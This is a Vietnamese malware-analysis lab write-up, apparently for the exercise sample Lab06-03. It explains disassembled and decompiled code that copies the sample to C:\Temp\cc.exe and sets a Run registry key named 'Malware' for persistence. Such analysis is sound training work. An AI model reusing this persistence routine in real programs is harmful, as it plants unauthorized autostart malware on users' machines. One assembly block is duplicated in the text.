lpExistingFileName từ stack frame và lưu vào eax push eax ; Đẩy địa chỉ lpExistingFileName vào stack call ds:CopyFileA ; Gọi hàm CopyFileA để sao chép file jmp short loc_4011EE ; Nhảy đến nhãn loc_4011EE --------------------------------------------------------------------------- loc_40117F: ; Trường hợp khi arg_0 là 'c' (99 trong bảng ASCII) push offset Data ; Đẩy địa chỉ của chuỗi "C:\\Temp\\cc.exe" vào stack call ds:DeleteFileA ; Gọi hàm DeleteFileA để xóa file jmp short loc_4011EE ; Nhảy đến nhãn loc_4011EE --------------------------------------------------------------------------- loc_40117F: ; Trường hợp khi arg_0 là 'c' (99 trong bảng ASCII) push offset Data ; Đẩy địa chỉ của chuỗi "C:\\Temp\\cc.exe" vào stack call ds:DeleteFileA ; Gọi hàm DeleteFileA để xóa file jmp short loc_4011EE ; Nhảy đến nhãn loc_4011EE --------------------------------------------------------------------------- loc_40118C: ; Trường hợp khi arg_0 là 'd' (100 trong bảng ASCII) lea ecx, [ebp+phkResult] ; Lấy địa chỉ của phkResult vào ecx push ecx ; Đẩy ecx vào stack (được sử dụng làm tham số cho hàm RegOpenKeyExA) push 0F003Fh ; Đẩy giá trị samDesired vào stack push 0 ; Đẩy giá trị ulOptions vào stack push offset SubKey ; Đẩy địa chỉ của chuỗi SubKey vào stack push 80000002h ; Đẩy giá trị hKey vào stack call ds:RegOpenKeyExA ; Gọi hàm RegOpenKeyExA để mở một key registry push 0Fh ; Đẩy giá trị cbData vào stack push offset Data ; Đẩy địa chỉ của chuỗi "C:\\Temp\\cc.exe" vào stack push 1 ; Đẩy giá trị dwType vào stack push 0 ; Đẩy giá trị Reserved vào stack push offset ValueName ; Đẩy địa chỉ của chuỗi ValueName vào stack mov edx, [ebp+phkResult] ; Lấy giá trị của phkResult vào edx push edx ; Đẩy edx vào stack (được sử dụng làm tham số cho hàm RegSetValueExA) call ds:RegSetValueExA ; Gọi hàm RegSetValueExA để thiết lập một giá trị registry test eax, eax ; Kiểm tra kết quả trả về từ hàm RegSetValueExA jz short loc_4011D2 ; Nếu kết quả là 0 (thành công), nhảy đến nhãn loc_4011D2 push offset aError31CouldNo ; Nếu không, đẩy địa chỉ của chuỗi lỗi vào stack call sub_401271 ; Gọi hàm sub_401271 để xử lý lỗi add esp, 4 ; Cân bằng lại stack jmp short loc_4011EE ; Nhảy đến nhãn loc_4011EE --------------------------------------------------------------------------- loc_4011D4: ; Trường hợp khi arg_0 là 'e' (101 trong bảng ASCII) push 186A0h ; Đẩy giá trị 186A0h vào stack (được sử dụng làm tham số cho hàm Sleep) call ds:Sleep ; Gọi hàm Sleep để chờ đợi một khoảng thời gian jmp short loc_4011EE ; Nhảy đến nhãn loc_4011EE
Hàm này là một cấu trúc switch-case dựa trên giá trị của một ký tự đầu vào arg_0
sau khi đã trừ đi giá trị ASCII của ký tự ‘a’ để thực hiện các hành động khác nhau. Nếu giá trị sau khi trừ lớn hơn 4, hàm sẽ nhảy đến nhãn mặc định def_401153
. Nếu không, nó sẽ nhảy đến một trong các nhãn (đại diện là các loc_ ) được xác định trong bảng nhảy jpt_401153
(jumptable
) dựa trên giá trị của arg_0
.
loc_40115A
tạo một thư mục mới tại đường dẫn “C:\Temp”.
loc_40116C
sao chép một file đến đường dẫn “C:\Temp\cc.exe”, sử dụng tên file được cung cấp bởilpExistingFileName
.
loc_40117F
xóa file tại đường dẫn “C:\Temp\cc.exe”.
loc_40118C
mở một key registry và thiết lập một giá trị mới trong registry. Nếu thất bại, nó sẽ gọi một hàm khác để xử lý lỗi.
loc_4011D4
khiến chương trình tạm dừng thực thi trong một khoảng thời gian được chỉ định bởi giá trị đẩy vào stack (trong trường hợp này là 100000 ms hoặc 100 giây).
def_401153
: Xử lý trường hợp mặc định nếu không có trường hợp nào khớp.
Nhãn loc_4011EE
không được hiển thị trong đoạn mã bạn cung cấp, nhưng dựa trên việc sử dụng các lệnh jmp
, có thể đây là điểm kết thúc chung cho các trường hợp trong switch-case, nơi mà các dòng lệnh tiếp theo sẽ được thực thi sau khi thực hiện các hành động tương ứng với mỗi trường hợp.
Kết lại:
Câu lệnh switch-case được thực hiện thông qua bảng nhảy jpt_401153
. Dựa vào giá trị của arg_0
, hàm sẽ thực hiện các hành động khác nhau:
- Case 97 (‘a’): Tạo thư mục “C:\Temp”.
- Case 98 (‘b’): Sao chép file được chỉ định bởi
lpExistingFileName
vào “C:\Temp\cc.exe”.
- Case 99 (‘c’): Xóa file “C:\Temp\cc.exe”.
- Case 100 (‘d’): Mở khóa Registry và đặt giá trị “Malware” với dữ liệu “C:\Temp\cc.exe”.
- Case 101 (‘e’): Gọi hàm
Sleep
với thời gian là 186A0h (mili giây).
Nếu giá trị đầu vào không nằm trong khoảng từ ‘a’ đến ‘e’, hàm sẽ nhảy đến trường hợp mặc định và hiển thị thông báo lỗi.
Cuối cùng, hàm sẽ khôi phục stack và trở về.
Giải thích đoạn mã C:
void __cdecl sub_401130(char a1, LPCSTR lpExistingFileName) { HKEY phkResult; // [esp+4h] [ebp-4h] BYREF switch ( a1 ) { case 'a': CreateDirectoryA(PathName, 0); break; case 'b': CopyFileA(lpExistingFileName, (LPCSTR)Data, 1); break; case 'c': DeleteFileA((LPCSTR)Data); break; case 'd': RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 0xF003Fu, &phkResult); if ( RegSetValueExA(phkResult, ValueName, 0, 1u, Data, 0xFu) ) sub_401271(aError31CouldNo); break; case 'e': Sleep(0x186A0u); break; default: sub_401271(aError32NotAVal); break; } }
Hãy cùng tôi đi qua từng dòng:
void __cdecl sub_401130(char a1, LPCSTR lpExistingFileName)
- Đây là khai báo của một hàm có tên
sub_401130
. - Hàm này nhận hai tham số:
a1
(kiểuchar
) vàlpExistingFileName
(kiểuLPCSTR
- con trỏ tới một chuỗi ký tự không thay đổi).
- Đây là khai báo của một hàm có tên
HKEY phkResult; // [esp+4h] [ebp-4h] BYREF
- Biến
phkResult
được khai báo kiểuHKEY
(một kiểu dữ liệu đại diện cho một handle của một khóa trong Registry). BYREF
cho biết biến này được truyền theo tham chiếu (reference).
- Biến
switch ( a1 )
- Hàm sử dụng câu lệnh
switch
để kiểm tra giá trị củaa1
.
- Hàm sử dụng câu lệnh
case ‘a’:
- Nếu
a1
là ký tự'a'
, thực hiện lệnhCreateDirectoryA(PathName, 0);
.
- Nếu
case ‘b’:
- Nếu
a1
là ký tự'b'
, thực hiện lệnhCopyFileA(lpExistingFileName, (LPCSTR)Data, 1);
.
- Nếu
case ‘c’:
- Nếu
a1
là ký tự'c'
, thực hiện lệnhDeleteFileA((LPCSTR)Data);
.
- Nếu
case ‘d’:
- Nếu
a1
là ký tự'd'
, thực hiện lệnh:RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 0xF003Fu, &phkResult);
- Kiểm tra nếu
RegSetValueExA
trả về giá trị khác 0, gọi hàmsub_401271(aError31CouldNo);
.
- Nếu
case ‘e’:
- Nếu
a1
là ký tự'e'
, thực hiện lệnhSleep(0x186A0u);
.
- Nếu
default:
- Nếu
a1
không phải là bất kỳ ký tự nào trong danh sách trên, gọi hàmsub_401271(aError32NotAVal);
.
- Nếu
Trả lời:
- Case 97 (a): Được gọi CreateDirectory, tham số là C:\\Temp, nếu thư mục chưa tồn tại thì tạo mới;
- Case 98 (b): Gọi CopyFile, hai tham số, tệp nguồn và tệp đích. Hàm ở đây sẽ sao chép Lab06-03.exe (không tìm thấy chuỗi này) dưới dạng C:\Temp\cc.exe.
- Case 99(c): Đã gọi DeleteFile, tham số là C:\\Temp\\cc.exe, nếu file tồn tại thì xóa đi.
- Case 100 (d): Đặt giá trị trong Windows Registry để có được hoạt động liên tục. Ở đây Software\Microsoft\Windows\CurrentVersion\Run\Malware giá trị của khóa đăng ký được đặt thành C:\Temp\cc.exe.
- Case 101 (e): Ngủ trong 186A0h mili giây, tức là khoảng 100000 mili giây (100 giây).
![]() |
Hình 4.4 - Chuyển đổi Hệ sang hệ thập phân |
- (default): in Error 3.2:Not a valid command provided.
5. Are there any host-based indicators for this malware?
Trả lời:
![]() |
Hình 5.1 - Chữ ký cục bộ của mã độc Lab06-03.exe |